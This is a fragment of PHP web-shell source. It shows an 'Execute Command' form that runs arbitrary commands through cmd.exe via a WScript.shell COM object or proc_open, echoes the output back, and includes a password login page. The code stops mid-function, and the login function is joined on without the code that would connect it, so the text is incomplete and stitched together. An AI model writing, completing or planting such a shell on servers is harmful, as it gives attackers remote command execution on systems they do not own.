makeinput(array('title' => 'Parameter', 'name' => 'parameter', 'value' => $parameter)); makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute')); p('</p>'); formfoot(); } formhead(array('title' => 'Execute Command')); makehide('action', 'shell'); if (IS_WIN && IS_COM) { $execfuncdb = array('phpfunc' => 'phpfunc', 'wscript' => 'wscript', 'proc_open' => 'proc_open'); makeselect(array('title' => 'Use:', 'name' => 'execfunc', 'option' => $execfuncdb, 'selected' => $execfunc, 'newline' => 1)); } p('<p>'); makeinput(array('title' => 'Command', 'name' => 'command', 'value' => htmlspecialchars($command))); makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute')); p('</p>'); formfoot(); if ($command) { p('<hr width="100%" noshade /><pre>'); if ($execfunc == 'wscript' && IS_WIN && IS_COM) { $wsh = new COM('WScript.shell'); $exec = $wsh->exec('cmd.exe /c ' . $command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) { $descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes); if (is_resource($process)) { fwrite($pipes[0], $command . "\r\n"); fwrite($pipes[0], "exit\r\n"); fclose($pipes[0]);
function loginpage() { formhead(); makehide('act', 'login'); makeinput(array('name' => 'password', 'type' => 'password', 'size' => '20')); makeinput(array('type' => 'submit', 'value' => 'Login')); formfoot(); exit; }